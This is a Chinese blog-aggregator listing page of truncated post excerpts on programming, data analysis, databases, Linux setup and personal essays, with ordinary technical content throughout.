    7月25号写了一篇关于为什么会断更如此严重的反思，然而，之后日更仅仅维持了一周，又出现了这次更严重的现象。从8月2号到昨天8月6号，5天！又是5天没有更文！虽然这次断更时间和上次一样，那为什么说这次更严重？因为上次之后就分析了问题的原因，以及应该如何解决，按理说应该会好转，然而，没过几天严重断更的现象再次出现，想想，经过反思，问题依然没有解决与改变，这让我有些担忧。到底是哪里出了问题，难道我就真的
  • 高端密码学院笔记285 柚子_b4b4
    高端幸福密码学院（高级班）幸福使者：李华第（598）期《幸福》之回归内在深层生命原动力基础篇——揭秘“激励”成长的喜悦心理案例分析主讲：刘莉一，知识扩充:成功=艰苦劳动+正确方法+少说空话。贪图省力的船夫，目标永远下游。智者的梦再美，也不如愚人实干的脚印。幸福早课堂2020.10.16星期五一笔记:1，重视和珍惜的前提是知道它的价值非常重要，当你珍惜了，你就真正定下来，真正的学到身上。2，大家需要
  • Day1笔记-Python简介&标识符和关键字&输入输出 ~在杰难逃~ Pythonpython开发语言大数据数据分析数据挖掘
    大家好，从今天开始呢，杰哥开展一个新的专栏，当然，数据分析部分也会不定时更新的，这个新的专栏主要是讲解一些Python的基础语法和知识，帮助0基础的小伙伴入门和学习Python，感兴趣的小伙伴可以开始认真学习啦！一、Python简介【了解】1.计算机工作原理编程语言就是用来定义计算机程序的形式语言。我们通过编程语言来编写程序代码，再通过语言处理程序执行向计算机发送指令，让计算机完成对应的工作，编程
  • pyecharts——绘制柱形图折线图 2224070247 信息可视化pythonjava数据可视化
    一、pyecharts概述自2013年6月百度EFE(ExcellentFrontEnd）数据可视化团队研发的ECharts1.0发布到GitHub网站以来，ECharts一直备受业界权威的关注并获得广泛好评，成为目前成熟且流行的数据可视化图表工具，被应用到诸多数据可视化的开发领域。Python作为数据分析领域最受欢迎的语言，也加入ECharts的使用行列，并研发出方便Python开发者使用的数据
  • 数据仓库——维度表一致性 墨染丶eye 背诵数据仓库
    数据仓库基础笔记思维导图已经整理完毕，完整连接为：数据仓库基础知识笔记思维导图维度一致性问题从逻辑层面来看，当一系列星型模型共享一组公共维度时，所涉及的维度称为一致性维度。当维度表存在不一致时，短期的成功难以弥补长期的错误。维度时确保不同过程中信息集成起来实现横向钻取货活动的关键。造成横向钻取失败的原因维度结构的差别，因为维度的差别，分析工作涉及的领域从简单到复杂，但是都是通过复杂的报表来弥补设计
  • 闲鱼鱼小铺怎么开通？鱼小铺开通需要哪些流程？ 高省APP大九
    闲鱼鱼小铺是平台推出的一个专业程度的店铺，与普通店铺相比会有更多的权益，比如说发布的商品数量从50增加到500；拥有专业的店铺数据看板与分析的功能，这对于专门在闲鱼做生意的用户来说是非常有帮助的，那么鱼小铺每个人都能开通吗？大家好，我是高省APP联合创始人蓓蓓导师，高省APP是2021年推出的电商导购平台，0投资，0风险、高省APP佣金更高，模式更好，终端用户不流失。【高省】是一个可省钱佣金高，能
  • 2019-11-04复盘——飞来山上千寻塔，闻说鸡鸣见日升。 那一叶秋
    1、大盘篇先上老图，看习惯了，也就知道走势了图1上证指数日线图还是那张老图，自己可以在自己的相关软件上画出来，快变盘了。2、个股篇未加仓、未减仓。分析量能的时候，突然发现这么一个东西：“放量突破年线，缩量回调。”合众科技日线图其实，最近的N只个股，在技术分析上，都到了变盘的临界时候。结合这么久的走势，特别是ZJH不断放开IPO的申请，本质上说是融资难度变大，或者说是为企业的融资开创便利。但现在市场
  • 18、架构-可观测性之聚合度量 大树~~ 架构javapython后端架构
    聚合度量聚合度量是指对系统运行时产生的各种指标数据进行收集、聚合和分析，以了解系统的健康状况和性能表现。聚合度量是可观测性的关键组成部分，通过对度量数据的分析，可以及时发现系统中的异常和瓶颈。以下是对聚合度量各个方面的详细解析，并结合具体的数据案例和技术支撑。指标收集收集系统运行时产生的各种指标数据是聚合度量的基础。常见的指标包括CPU使用率、内存使用率、请求处理时间、请求数、错误率等。以下是指标
  • 果然只有离职的时候，才有人敢说真话！ return2ok
    今天公司出了神贴。今天中午吃饭，同事问我看了论坛上的神贴了吗？什么帖子？我问。同事显得很惊讶，你居然没看，现在那个帖子可能会成为年度最佳帖子。这么厉害？我等不及了，饭没吃完就快速的奔向办公室，打开公司论坛，我要一睹这个帖子的神奇。写这帖子的童鞋胆儿真肥。这哪里是一个帖子，这是很多个帖子，组成了一个系列。某人从公司文化、管理、人事、项目管理等多个方面分析了公司的概况，并抨击了公司的各种弊端，并提出了
  • nosql数据库技术与应用知识点 皆过客，揽星河 NoSQLnosql数据库大数据数据分析数据结构非关系型数据库
    Nosql知识回顾大数据处理流程数据采集(flume、爬虫、传感器)数据存储(本门课程NoSQL所处的阶段)Hdfs、MongoDB、HBase等数据清洗(入仓)Hive等数据处理、分析(Spark、Flink等)数据可视化数据挖掘、机器学习应用(Python、SparkMLlib等)大数据时代存储的挑战(三高)高并发(同一时间很多人访问)高扩展(要求随时根据需求扩展存储)高效率(要求读写速度快)
  • 《Python数据分析实战终极指南》 xjt921122 python数据分析开发语言
    对于分析师来说，大家在学习Python数据分析的路上，多多少少都遇到过很多大坑**，有关于技能和思维的**：Excel已经没办法处理现有的数据量了，应该学Python吗？找了一大堆Python和Pandas的资料来学习，为什么自己动手就懵了？跟着比赛类公开数据分析案例练了很久，为什么当自己面对数据需求还是只会数据处理而没有分析思路？学了对比、细分、聚类分析，也会用PEST、波特五力这类分析法，为啥
  • Python开发常用的三方模块如下： 换个网名有点难 python开发语言
    Python是一门功能强大的编程语言，拥有丰富的第三方库，这些库为开发者提供了极大的便利。以下是100个常用的Python库，涵盖了多个领域：1、NumPy，用于科学计算的基础库。2、Pandas，提供数据结构和数据分析工具。3、Matplotlib，一个绘图库。4、Scikit-learn，机器学习库。5、SciPy，用于数学、科学和工程的库。6、TensorFlow，由Google开发的开源机
  • ES聚合分析原理与代码实例讲解 光剑书架上的书 大厂Offer收割机面试题简历程序员读书硅基计算碳基计算认知计算生物计算深度学习神经网络大数据AIGCAGILLMJavaPython架构设计Agent程序员实现财富自由
    ES聚合分析原理与代码实例讲解1.背景介绍1.1问题的由来在大规模数据分析场景中，特别是在使用Elasticsearch（ES）进行数据存储和检索时，聚合分析成为了一个至关重要的功能。聚合分析允许用户对数据集进行细分和分组，以便深入探索数据的结构和模式。这在诸如实时监控、日志分析、业务洞察等领域具有广泛的应用。1.2研究现状目前，ES聚合分析已经成为现代大数据平台的核心组件之一。它支持多种类型的聚
  • 母亲节如何做小红书营销 美橙传媒
    小红书的一举一动引起了外界的高度关注。通过爆款笔记和流行话题，我们可以看到“干货”类型的内容在小红书中偏向实用的生活经验共享和生活指南非常受欢迎。根据运营社的分析，这种现象是由小红书用户心智和内容社区背后机制共同决定的。首先，小红书将使用“强搜索”逻辑为用户提供特定的“搜索场景”。在“我必须这样生活”中，大量使用了满足小红书站用户喜好和需求的内容。内容社区自制的高质量内容也吸引了寻找营销新途径的品
  • 系统架构设计师 需求分析篇二 AmHardy 软件架构设计师系统架构需求分析面向对象分析分析模型UML和SysML
    面向对象分析方法1.用例模型构建用例模型一般需要经历4个阶段：识别参与者：识别与系统交互的所有事物。合并需求获得用例：将需求分配给予其相关的参与者。细化用例描述：详细描述每个用例的功能。调整用例模型：优化用例之间的关系和结构，前三个阶段是必需的。2.用例图的三元素参与者：使用系统的用户或其他外部系统和设备。用例：系统所提供的服务。通信关联：参与者和用例之间的关系，或用例与用例之间的关系。3.识别参
  • 语文主题教学学习笔记之87 东哥杂谈
    “语文主题教学”学习笔记之八十七（0125）今天继续学习小学语文主题教学的实践样态。板块三：教学中体现“书艺”味道。作为四大名著之一的《水浒传》，堪称我国文学宝库之经典。对从《水浒传》中摘选的单元，教师就要了解其原生态，即评书体特点。这也要求教师要了解一些常用的评书行话术语，然后在教学时适时地加入一些，让学生体味其文本中原有的特色。学生也要尽可能地通过朗读的方式，而不单是分析讲解的方式进行学习。细
  • Python神器！WEB自动化测试集成工具 DrissionPage 亚丁号 python开发语言
    一、前言用requests做数据采集面对要登录的网站时，要分析数据包、JS源码，构造复杂的请求，往往还要应付验证码、JS混淆、签名参数等反爬手段，门槛较高。若数据是由JS计算生成的，还须重现计算过程，体验不好，开发效率不高。使用浏览器，可以很大程度上绕过这些坑，但浏览器运行效率不高。因此，这个库设计初衷，是将它们合而为一，能够在不同须要时切换相应模式，并提供一种人性化的使用方法，提高开发和运行效率
  • Java爬虫框架（一）--架构设计 狼图腾-狼之传说 java框架java任务html解析器存储电子商务
    一、架构图那里搜网络爬虫框架主要针对电子商务网站进行数据爬取，分析，存储，索引。爬虫：爬虫负责爬取，解析，处理电子商务网站的网页的内容数据库：存储商品信息索引：商品的全文搜索索引Task队列：需要爬取的网页列表Visited表：已经爬取过的网页列表爬虫监控平台：web平台可以启动，停止爬虫，管理爬虫，task队列，visited表。二、爬虫1.流程1)Scheduler启动爬虫器，TaskMast
  • 今日分享：有的孩子家长常常在对于小朋友老是说谎，还特别爱推卸责任，很头痛，不知道该怎么办！ 雨燕Cassie
    其实六岁以前都不叫撒谎，只能叫做逃避和害怕，因为他们都是没有撒谎的这个概念，家长所谓的撒谎只能说是因为做错了事情，怕受到责罚而找一个「台阶」给自己一下而已，所以家长不能给孩子一个贴上撒谎的这个标签，如果说孩子出现家长所说的撒谎，我们应该做的是：1.允许孩子将事情的原委进行一个表达，给孩子说明的机会，不提示孩子说谎，不急著批评孩子。2.不使用问句，不恐吓和严刑逼供，耐心的以故事或者以分析的形式和孩子
  • 06选课支付模块之基于消息队列发送支付通知消息 echo 云清 学成在线javarabbitmq消息队列支付通知学成在线
    消息队列发送支付通知消息需求分析订单服务作为通用服务，在订单支付成功后需要将支付结果异步通知给其他对接的微服务，微服务收到支付结果根据订单的类型去更新自己的业务数据技术方案使用消息队列进行异步通知需要保证消息的可靠性即生产端将消息成功通知到服务端：消息发送到交换机-->由交换机发送到队列-->消费者监听队列，收到消息进行处理，参考文章02-使用Docker安装RabbitMQ-CSDN博客生产者确
  • 《 C++ 修炼全景指南：九 》打破编程瓶颈！掌握二叉搜索树的高效实现与技巧 Lenyiin C++修炼全景指南技术指南c++算法stl
    摘要本文详细探讨了二叉搜索树（BinarySearchTree,BST）的核心概念和技术细节，包括插入、查找、删除、遍历等基本操作，并结合实际代码演示了如何实现这些功能。文章深入分析了二叉搜索树的性能优势及其时间复杂度，同时介绍了前驱、后继的查找方法等高级功能。通过自定义实现的二叉搜索树类，读者能够掌握其实际应用，此外，文章还建议进一步扩展为平衡树（如AVL树、红黑树）以优化极端情况下的性能退化。
  • 遥感影像的切片处理 sand&wich 计算机视觉python图像处理
    在遥感影像分析中，经常需要将大尺寸的影像切分成小片段，以便于进行详细的分析和处理。这种方法特别适用于机器学习和图像处理任务，如对象检测、图像分类等。以下是如何使用Python和OpenCV库来实现这一过程，同时确保每个影像片段保留正确的地理信息。准备环境首先，确保安装了必要的Python库，包括numpy、opencv-python和xml.etree.ElementTree。这些库将用于图像处理
  • Spring MVC 全面指南：从入门到精通的详细解析 一杯梅子酱 技术栈学习springmvcjava
    引言：SpringMVC，作为Spring框架的一个重要模块，为构建Web应用提供了强大的功能和灵活性。无论是初学者还是有一定经验的开发者，掌握SpringMVC都将显著提升你的Web开发技能。本文旨在为初学者提供一个全面且易于理解的学习路径，通过详细的知识点分析和实际案例，帮助你快速上手SpringMVC，让学习过程既深刻又高效。一、SpringMVC简介1.1什么是SpringMVC？Spri
  • 怎么样才能成为专业的程序员？ cocos2d-x小菜 编程PHP
      如何要想成为一名专业的程序员？仅仅会写代码是不够的。从团队合作去解决问题到版本控制，你还得具备其他关键技能的工具包。当我们询问相关的专业开发人员，那些必备的关键技能都是什么的时候，下面是我们了解到的情况。   关于如何学习代码，各种声音很多，然后很多人就被误导为成为专业开发人员懂得一门编程语言就够了？！呵呵，就像其他工作一样，光会一个技能那是远远不够的。如果你想要成为
  • java web开发 高并发处理 BreakingBad javaWeb并发开发处理高
    java处理高并发高负载类网站中数据库的设计方法（java教程,java处理大量数据，java高负载数据） 一：高并发高负载类网站关注点之数据库 没错,首先是数据库,这是大多数应用所面临的首个SPOF。尤其是Web2.0的应用，数据库的响应是首先要解决的。 一般来说MySQL是最常用的，可能最初是一个mysql主机，当数据增加到100万以上，那么，MySQL的效能急剧下降。常用的优化措施是M-S（
  • mysql批量更新 ekian mysql
    mysql更新优化： 一版的更新的话都是采用update set的方式，但是如果需要批量更新的话，只能for循环的执行更新。或者采用executeBatch的方式，执行更新。无论哪种方式，性能都不见得多好。 三千多条的更新，需要3分多钟。 查询了批量更新的优化，有说replace into的方式，即： replace into tableName(id,status) values
  • 微软BI（3） 18289753290 微软BI SSIS
    1) Q：该列违反了完整性约束错误；已获得 OLE DB 记录。源:“Microsoft SQL Server Native Client 11.0” Hresult: 0x80004005 说明:“不能将值 NULL 插入列 'FZCHID'，表 'JRB_EnterpriseCredit.dbo.QYFZCH'；列不允许有 Null 值。INSERT 失败。”。 A：一般这类问题的存在是
  • Java中的List g21121 java
            List是一个有序的 collection（也称为序列）。此接口的用户可以对列表中每个元素的插入位置进行精确地控制。用户可以根据元素的整数索引（在列表中的位置）访问元素，并搜索列表中的元素。         与 set 不同，列表通常允许重复
  • 读书笔记 永夜-极光 读书笔记
       1.  K是一家加工厂,需要采购原材料,有A,B,C,D 4家供应商,其中A给出的价格最低,性价比最高,那么假如你是这家企业的采购经理,你会如何决策?          传统决策: A:100%订单  B,C,D:0%     &nbs
  • centos 安装 Codeblocks 随便小屋 codeblocks
    1.安装gcc,需要c和c++两部分,默认安装下,CentOS不安装编译器的,在终端输入以下命令即可yum install gccyum install gcc-c++   2.安装gtk2-devel,因为默认已经安装了正式产品需要的支持库,但是没有安装开发所需要的文档.yum install gtk2* 3. 安装wxGTK    yum search w
  • 23种设计模式的形象比喻 aijuans 设计模式
    1、ABSTRACT FACTORY—追MM少不了请吃饭了，麦当劳的鸡翅和肯德基的鸡翅都是MM爱吃的东西，虽然口味有所不同，但不管你带MM去麦当劳或肯德基，只管向服务员说“来四个鸡翅”就行了。麦当劳和肯德基就是生产鸡翅的Factory 　　工厂模式：客户类和工厂类分开。消费者任何时候需要某种产品，只需向工厂请求即可。消费者无须修改就可以接纳新产品。缺点是当产品修改时，工厂类也要做相应的修改。如：
  • 开发管理 CheckLists aoyouzi 开发管理 CheckLists
    开发管理 CheckLists(23) -使项目组度过完整的生命周期 开发管理 CheckLists(22) -组织项目资源 开发管理 CheckLists(21) -控制项目的范围开发管理 CheckLists(20) -项目利益相关者责任开发管理 CheckLists(19) -选择合适的团队成员开发管理 CheckLists(18) -敏捷开发 Scrum Master 工作开发管理 C
  • js实现切换 百合不是茶 JavaScript栏目切换
    js主要功能之一就是实现页面的特效,窗体的切换可以减少页面的大小,被门户网站大量应用思路: 1,先将要显示的设置为display:bisible 否则设为none 2,设置栏目的id ,js获取栏目的id,如果id为Null就设置为显示 3,判断js获取的id名字;再设置是否显示   代码实现:   html代码: <di
  • 周鸿祎在360新员工入职培训上的讲话 bijian1013 感悟项目管理人生职场
            这篇文章也是最近偶尔看到的，考虑到原博客发布者可能将其删除等原因，也更方便个人查找，特将原文拷贝再发布的。“学东西是为自己的，不要整天以混的姿态来跟公司博弈，就算是混，我觉得你要是能在混的时间里，收获一些别的有利于人生发展的东西，也是不错的，看你怎么把握了”，看了之后，对这句话记忆犹新。  &
  • 前端Web开发的页面效果 Bill_chen htmlWebMicrosoft
    1.IE6下png图片的透明显示： <img src="图片地址" border="0" style="Filter.Alpha(Opacity)=数值(100),style=数值(3)"/> 或在<head></head>间加一段JS代码让透明png图片正常显示。 2.<li>标
  • 【JVM五】老年代垃圾回收：并发标记清理GC(CMS GC) bit1129 垃圾回收
      CMS概述 并发标记清理垃圾回收(Concurrent Mark and Sweep GC）算法的主要目标是在GC过程中，减少暂停用户线程的次数以及在不得不暂停用户线程的请夸功能，尽可能短的暂停用户线程的时间。这对于交互式应用，比如web应用来说，是非常重要的。   CMS垃圾回收针对新生代和老年代采用不同的策略。相比同吞吐量垃圾回收，它要复杂的多。吞吐量垃圾回收在执
  • Struts2技术总结 白糖_ struts2
      必备jar文件 早在struts2.0.*的时候，struts2的必备jar包需要如下几个： commons-logging-*.jar   Apache旗下commons项目的log日志包 freemarker-*.jar          
  • Jquery easyui layout应用注意事项 bozch jquery浏览器easyuilayout
    在jquery easyui中提供了easyui-layout布局，他的布局比较局限，类似java中GUI的border布局。下面对其使用注意事项作简要介绍：      如果在现有的工程中前台界面均应用了jquery easyui，那么在布局的时候最好应用jquery eaysui的layout布局，否则在表单页面（编辑、查看、添加等等）在不同的浏览器会出
  • java-拷贝特殊链表：有一个特殊的链表，其中每个节点不但有指向下一个节点的指针pNext，还有一个指向链表中任意节点的指针pRand，如何拷贝这个特殊链表？ bylijinnan java
    public class CopySpecialLinkedList { /** * 题目：有一个特殊的链表，其中每个节点不但有指向下一个节点的指针pNext，还有一个指向链表中任意节点的指针pRand，如何拷贝这个特殊链表？ 拷贝pNext指针非常容易，所以题目的难点是如何拷贝pRand指针。 假设原来链表为A1 -> A2 ->... -> An，新拷贝
  • color Chen.H JavaScripthtmlcss
    <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"  "http://www.w3.org/TR/html4/loose.dtd">    <HTML>    <HEAD>&nbs
  • [信息与战争]移动通讯与网络 comsci 网络
          两个坚持:手机的电池必须可以取下来                光纤不能够入户,只能够到楼宇       建议大家找这本书看看:<&
  • oracle flashback query(闪回查询) daizj oracleflashback queryflashback table
    在Oracle 10g中，Flash back家族分为以下成员： Flashback Database Flashback Drop Flashback Table Flashback Query(分Flashback Query,Flashback Version Query，Flashback Transaction Query) 下面介绍一下Flashback Drop 和Flas
  • zeus持久层DAO单元测试 deng520159 单元测试
    zeus代码测试正紧张进行中,但由于工作比较忙,但速度比较慢.现在已经完成读写分离单元测试了,现在把几种情况单元测试的例子发出来,希望有人能进出意见,让它走下去. 本文是zeus的dao单元测试: 1.单元测试直接上代码   package com.dengliang.zeus.webdemo.test; import org.junit.Test; import o
  • C语言学习三printf函数和scanf函数学习 dcj3sjt126com cprintfscanflanguage
    printf函数 /* 2013年3月10日20:42:32 地点：北京潘家园 功能： 目的： 测试%x %X %#x %#X的用法 */ # include <stdio.h> int main(void) { printf("哈哈！\n"); // \n表示换行 int i = 10; printf
  • 那你为什么小时候不好好读书? dcj3sjt126com life
    dady, 我今天捡到了十块钱, 不过我还给那个人了 good girl! 那个人有没有和你讲thank you啊 没有啦....他拉我的耳朵我才把钱还给他的, 他哪里会和我讲thank you   爸爸, 如果地上有一张5块一张10块你拿哪一张呢.... 当然是拿十块的咯... 爸爸你很笨的, 你不会两张都拿   爸爸为什么上个月那个人来跟你讨钱, 你告诉他没
  • iptables开放端口 Fanyucai linuxiptables端口
    1，找到配置文件 vi /etc/sysconfig/iptables   2，添加端口开放，增加一行，开放18081端口 -A INPUT -m state --state NEW -m tcp -p tcp --dport 18081 -j ACCEPT   3，保存 ESC :wq!   4，重启服务 service iptables
  • Ehcache（05）——缓存的查询 234390216 排序ehcache统计query
    缓存的查询 目录 1.    使Cache可查询 1.1     基于Xml配置 1.2     基于代码的配置 2     指定可搜索的属性 2.1     可查询属性类型 2.2 &
  • 通过hashset找到数组中重复的元素 jackyrong hashset
      如何在hashset中快速找到重复的元素呢?方法很多，下面是其中一个办法： int[] array = {1,1,2,3,4,5,6,7,8,8}; Set<Integer> set = new HashSet<Integer>(); for(int i = 0
  • 使用ajax和window.history.pushState无刷新改变页面内容和地址栏URL lanrikey history
    后退时关闭当前页面 <script type="text/javascript"> jQuery(document).ready(function ($) {         if (window.history && window.history.pushState) {
  • 应用程序的通信成本 netkiller.github.com 虚拟机应用服务器陈景峰netkillerneo
    应用程序的通信成本 什么是通信 一个程序中两个以上功能相互传递信号或数据叫做通信。 什么是成本 这是是指时间成本与空间成本。 时间就是传递数据所花费的时间。空间是指传递过程耗费容量大小。 都有哪些通信方式 全局变量 线程间通信 共享内存 共享文件 管道 Socket 硬件（串口，USB） 等等 全局变量 全局变量是成本最低通信方法，通过设置
  • 一维数组与二维数组的声明与定义 恋洁e生 二维数组一维数组定义声明初始化
    /**  *  */ package test20111005; /**  * @author FlyingFire  * @date:2011-11-18 上午04:33:36  * @author ：代码整理  * @introduce :一维数组与二维数组的初始化  *summary：  */ public c
  • Spring Mybatis独立事务配置 toknowme mybatis
    在项目中有很多地方会使用到独立事务，下面以获取主键为例   （1）修改配置文件spring-mybatis.xml  <!-- 开启事务支持 -->  <tx:annotation-driven transaction-manager="transactionManager" />   &n
  • 更新Anadroid SDK Tooks之后，Eclipse提示No update were found xp9802 eclipse
    使用Android SDK Manager 更新了Anadroid SDK Tooks 之后， 打开eclipse提示 This Android SDK requires Android Developer Toolkit version 23.0.0 or above, 点击Check for Updates  检测一会后提示 No update were found 
按字母分类： ABCDEFGHIJKLMNOPQRSTUVWXYZ其他